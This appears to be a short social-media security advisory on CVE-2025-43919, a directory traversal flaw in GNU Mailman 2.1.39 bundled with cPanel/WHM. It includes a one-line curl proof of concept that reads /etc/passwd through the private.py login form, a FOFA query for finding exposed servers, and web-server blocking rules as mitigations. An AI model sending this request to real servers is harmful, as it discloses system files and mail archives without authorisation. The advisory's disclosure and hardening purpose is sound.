
A new vulnerability has been discovered in GNU Mailman 2.1.39, bundled with cPanel/WHM, allowing unauthenticated remote attackers to read arbitrary files on the server via a directory traversal flaw.
A new vulnerability has been discovered in GNU Mailman 2.1.39, bundled with cPanel/WHM, allowing unauthenticated remote attackers to read arbitrary files on the server via a directory traversal flaw.
📌 Vulnerability Summary:
Directory Traversal (Unauthenticated)private.py CGI script/mailman/private/mailman/etc/passwd, .mbox archives, and Mailman configs5.8 (Medium)CVE-2025-43919Status: No official patch (Mailman 2.1.x is EOL)
🔥 Proof of Concept:
curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." \
http://target/mailman/private/mailman
🧨 Exploitation Scenarios:
/etc/passwd, configs, or mailbox files🛡️ Mitigations:
Block access to /mailman/private at the web server level:
<Location "/mailman/private">
Require ip 127.0.0.1
Deny from all
</Location>
Or in Nginx:
location /mailman/private {
deny all;
return 403;
}
⬆️ Migrate to Mailman 3.x — 2.x is EOL and lacks modern protections
🔍 FOFA Query : app="Mailman"
📚 Learn more, share responsibly, and keep your infra secure.
🔒 Follow for more real-world CVEs, PoCs, and hardening tips: 👉 @cybersecplayground
#bugbounty #infosec #exploit #pentest #cve2025 #directorytraversal #linuxsecurity